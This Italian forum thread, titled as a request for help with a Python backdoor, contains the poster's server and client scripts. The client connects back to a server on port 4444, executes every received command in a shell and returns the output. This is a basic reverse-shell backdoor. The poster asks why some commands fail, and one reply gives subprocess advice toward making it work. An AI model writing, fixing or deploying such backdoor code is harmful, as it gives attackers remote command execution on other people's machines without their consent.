Domanda aiuto backdoor python

Stato
Discussione chiusa ad ulteriori risposte.

seby2000

Utente Silver
6 Febbraio 2015
95
19
10
58
ciao a tutti
ieri ho creato una connessione socket tra client e server con python
server.py
Codice:
import socket
port = 4444
host = "127.0.0.1"
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.bind((host, port))
server_socket.listen(5)
while 1:
    client_socket, address = server_socket.accept()
    while 1:
        print "Connection from ", address
        invio = raw_input("comando:>")
        client_socket.send(invio)
        dati = client_socket.recv(1024)
        print dati
client.py
Codice:
import socket, os, subprocess
port = 4444
host_server = "127.0.0.1"
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client_socket.connect((host_server, port))
while 1:
    server_data = client_socket.recv(1024)
    os.system(server_data)
    output = subprocess.check_output(server_data, shell=True)
    client_socket.send(output)
Volevo sapere perchè il comando os.system(comando) non esegue tutti i comandi di una normale shell bensì solo alcuni ad esempio
cd /root/ non lo esegue, se voi sapete come far eseguire tutti i comandi della shell sarei contento se mi diceste come fare.
Poi volevo sapere perche la seconda volta che dicito un comando shell dal server al client non me lo esegue.
 
Per chiamare comandi bash, evitando di ottenere risultati anomali, devi sempre usare subprocess.PIPE, splitta pure il comando.
Potresti usare i moduli di Python già implementati (come hashlib) invece di chiamare comandi shell.
In alcuni casi puoi usare subprocess (hai bisogno di specificare la shell esplicitamente) ...
 
ciao srsly, intanto grazie per la risposta.
ho usato subprocess in questo modo
Codice:
import subprocess
comando = subprocess.Popen('wget'.split(), subprocess.PIPE)
print comando
solo che ho lo stesso problema, per esempio, se lancio un comando che apre un programma come iceweasel o altri programmi me lo esegue invece se uso i comandi ls, cd, dir, cat ecc ecc non me li esgue.
forse ho sbagliato ha scrivere il codice anche perche prima che mi esegue il comando shell mi stampa questa riga "<subprocess.Popen object at 0x7fe765d6a510"
grazie ancora per l'aiuto
 
Stato
Discussione chiusa ad ulteriori risposte.